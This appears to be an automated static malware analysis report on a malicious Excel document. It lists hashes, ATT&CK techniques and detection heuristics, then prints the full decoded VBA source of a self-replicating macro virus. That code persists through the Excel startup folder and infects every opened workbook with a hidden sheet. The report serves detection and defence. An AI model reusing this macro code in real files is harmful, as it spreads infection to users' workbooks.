Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 01719cf530750a0e…

MALICIOUS

Office (OLE)

42.5 KB Created: 1996-10-14 23:33:28 Authoring application: Microsoft Excel First seen: 2026-05-11
MD5: d0696fcd748a3188c43be6fda354a3ca SHA-1: fa3a8c362a82ede2d2de03371e1ef4b1f374de70 SHA-256: 01719cf530750a0ecbbe6bd90e7163a4abaeac411a355d6e9550b1a85aff9b67
108 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1547.001 Registry Run Keys / Startup Folder

This malicious Excel document contains VBA macros designed to achieve persistence. The 'auto_open' macro sets up an 'OnSheetActivate' hook, and the 'check_files' subroutine copies the current workbook into the Excel startup directory as 'NEGS.XLS'. It also attempts to infect other workbooks by copying a sheet named 'foxz' into them. This behavior suggests an attempt to ensure the malicious code runs whenever Excel starts or specific sheets are activated.

Heuristics 4

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
        ChDir Application.StartupPath
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = "check_files"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2265 bytes
SHA-256: a694322b65076fdc2931004096af28b07bc7ffee2e60fd9e1151a656b90cef2f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "foxz"

'donwload NEG!!! NoMercyExcelGenerator form NoMercyPage!
'foxz@usa.net


Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "NEGS.XLS")
    If m$ = "NEGS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("foxz").Visible = True
    Sheets("foxz").Select
    Sheets("foxz").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = "infected by NEG Promo!"
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "NEGS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("foxz").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "NEGS.XLS!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "foxz" Then
        Workbooks("NEGS.XLS").Sheets("foxz").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("foxz").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "NEGS.XLS!check_files"
    Case Else
End Select
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True